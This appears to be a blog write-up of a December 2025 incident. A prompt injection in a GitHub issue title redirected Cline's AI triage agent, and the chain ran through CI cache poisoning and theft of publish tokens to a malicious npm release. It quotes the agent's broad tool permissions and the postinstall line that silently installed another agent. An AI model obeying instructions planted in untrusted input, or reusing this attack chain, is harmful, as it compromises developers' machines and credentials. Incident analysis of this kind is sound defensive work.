Clinejection: How a GitHub Issue Title Compromised an AI Coding Assistant Used by 5M Developers

In December 2025, Cline, an AI coding assistant with over 5 million users, suffered a supply chain compromise when a misconfigured GitHub issue triage workflow allowed an attacker to inject malicious instructions via an issue title. The attack led to the exfiltration of publish tokens and the distribution of a malicious npm package that silently installed an AI agent on user machines. The incident highlights the risks of unauthenticated triggers and unsanitized inputs in AI-powered automation.

In December 2025, Cline — an AI coding assistant with over 5 million users — gave an AI agent Claude write access to triage GitHub issues, including permission to run shell commands. A misconfigured trigger condition let any GitHub user invoke the workflow. What followed was a four-hop supply chain compromise that ended with a malicious npm package silently installing a second AI agent on user machines. I broke down the full chain in video form: Watch the episode https://youtu.be/69PuA4D7MLg Below is the chain, hop by hop. The triage automation was configured with broad tool permissions and a trigger condition open to any GitHub user — not just contributors. That second part is the root cause: it opened the trigger to unauthenticated input. Exact config values are in the Confirmed Artifacts section below. The issue title itself was never sanitized before reaching the model. No first-party source has published the exact injected payload verbatim — GHSA doesn't disclose it — so any reconstruction here is illustrative, not confirmed. What's confirmed is the mechanism: an untrusted string reached the model with tool access already granted. The injected instruction deployed a tool multiple independent postmortems — Snyk, Cloud Security Alliance — name it "Cacheract" that flooded the CI cache with over 10GB of junk data, evicting legitimate entries through standard LRU eviction. The nightly release workflow restored that poisoned cache around 2 AM UTC and ran inside it — handing over three publish tokens. Names confirmed across GHSA and multiple independent sources — see below. cline@2.3.0 went live on npm with a postinstall script that silently installed a second package globally — an AI agent, installed by an AI agent, with no user consent. This line is a direct quote from Cline's own security advisory, not a reconstruction. It's the strongest evidentiary point in the whole chain. Full quote below. This is the same shape as the tj-actions/changed-files compromise: a trusted automation connection nobody was actively monitoring. Different entry point an AI triage agent instead of a CI tag , same underlying failure class. These are the exact strings pulled directly from the postmortems and Cline's own advisory — no paraphrasing: Triage workflow config: --allowedTools "Bash,Read,Write,Edit" allowed non write users: " " Tokens exfiltrated Hop 3 : NPM RELEASE TOKEN VSCE PAT OVSX PAT Malicious postinstall script Hop 4 — source: Cline security advisory: "postinstall": "npm install -g openclaw@latest" The one element in this writeup that is not verbatim is the injected issue-title payload from Hop 1 — no source publishes it in full, so any version shown is a reconstruction, flagged as such. Full walkthrough with the chain visualized as a single 4-node graph not four separate findings : https://youtu.be/69PuA4D7MLg https://youtu.be/69PuA4D7MLg Sources: Cline security advisory, GHSA, Cloud Security Alliance and Snyk postmortems.